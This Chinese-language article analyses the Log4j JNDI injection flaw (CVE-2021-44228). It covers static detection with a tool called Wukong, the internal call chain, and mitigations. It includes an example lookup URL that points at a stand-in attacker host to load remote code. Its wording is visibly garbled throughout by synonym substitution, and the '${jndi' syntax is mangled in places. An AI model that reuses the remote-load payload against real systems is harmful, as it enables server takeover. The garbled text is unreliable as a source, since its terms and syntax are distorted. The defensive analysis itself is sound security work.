一、简介
最近的Log4J缝隙(CVE-2021-44228)正形成网络大乱,其影响力不亚于前期的HeartBleeding缝隙。2.0-beta9 ~ 2.14.1版别的Apache Log4j2均存在改缝隙,能够说直接影响了大部分根据Java的运用。该缝隙最早被阿里云安全团队发现并验证,随即被Apache界说为高危级别。
Log4j在log字符串”jndi:xxx”时,“{jndi:xxx}”时,“{“这一特别字符会指定Log4J经过JNDI来根据字符串”xxx”获得对应称号。假如字符串“xxx”为有害的URL” (LDAP:// attackerserver.com:1389/ExploitPayload”),JNDI会远程加载调用该URL指定的服务器上恣意代码并履行。JNDI(Java Naming and Directory Interface),是Java的一个目录服务运用程序接口(API),它供给一个目录系统,并将服务称号与目标关联起来,然后使得开发人员在开发过程中能够运用称号来拜访目标。该缝隙归于典型的注入类型缝隙,攻击者经过操控日志消息或日志消息参数注入恶意代码。
假如用户输入被输出到日志中,因为Log4J组件未对用户输入进行充沛输入验证,攻击者能够经过Apache Log4j2 JNDI 功能来履行注入代码,包括从指定恶意LDAP服务器并加载的的恣意代码。
二、经过Wukong检测log4J缝隙
关于注入类缝隙(包括SQL注入、命令行注入、XSS等),我们能够经过经典的信息流剖析技能来检测是否存在一条途径从用户输入 (Source) 抵达风险操作点(Sink),且该用户输入未经过输入验证。
关于Log4J缝隙,当检测log4J库时,Source为Log4J组件供给的公共API输入(例如Log4j.error()的参数),Sink为拜访JNDI服务的接口。Wukong能够有效地检测出Log4J库中存在的jndi注入问题。如图1所示。
图1:经过Wukong检测Log4J缝隙
注意触发该缝隙的调用链十分长,躲藏比较深且涉及到复杂的指针依靠关系,我们测试过一些其他静态剖析工具均未能检测出该缝隙。
三、错误根源剖析
缝隙触发途径如下所示:
1、 获取Logger,并调用error办法
2、 error办法内会调用logIfEnabled办法,注意,debug、info、warn、error、fatal等公共API都会调用logIfEnabled办法
3、 logIfEnaled办法会调用logMessage办法
4、 接着会根据进入下列调用链:logMessageSafely -> logMessageTrackRecursion -> tryLogMessage -> Logger.log -> DefaultReliabilityStrategy.log -> processLogEvent -> callAppenders -> callAppenderPreventRecursion -> callAppender0 -> tryCallAppender -> append -> tryAppend -> directEncodeEvent -> PatternLayout.encode -> toText -> toSerializable -> PatternFormatter.format 终究会调用MessagePatternConverter类的format函数,当日志字串带有”${”的时候会特别处理。
5、 字串会交给StrSubstitutor做replace -> substitute处理,找到 “${” 对应的 “}” 并提取中间的字串,这里是“jndi:xxx”
6、 Substitute办法会调用resolveVariable,接着会调用JndiLookup类的lookup函数
7、 最终JndiManager的lookup函数会解析jndi资源,这里是“xxx”,假如“xxx“部分是可履行的恶意程序,那么该程序将会被履行,然后产生十分严重的损害。
因此,假如服务器代码中直接将用户的输入运用Logger写入日志,则用户能够构造恣意恶意代码攻击服务器。
四、缝隙修复
对该缝隙的修复在log4j2.15.0及以后版别中是经过将“${“字符过滤进行特别处理。关于运用的补丁是主张直接升级到2.15.0及以后版别,假如因为兼容性的原因难以升级,能够经过以下办法暂时处理:
1、 修正jvm发动参数,-Dlog4j2.formatMsgNoLookups=true
2、 修正装备:log4j2.formatMsgNoLookups=True
3、 将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为 true
同时注意该缝隙仅仅能在用户输入被Log的时候触发,因此我们能够经过静态剖析工具Wukong检测运用中是否存在用户输入直接输出到日志中:关于运用程序代码我们能够将外部输作为source,将log函数作为sink,检查是否存在一条途径可达,即是否存在外部输入能够操控log函数的参数。假如不存在这样一条途径,log4J中的缝隙也不会触发。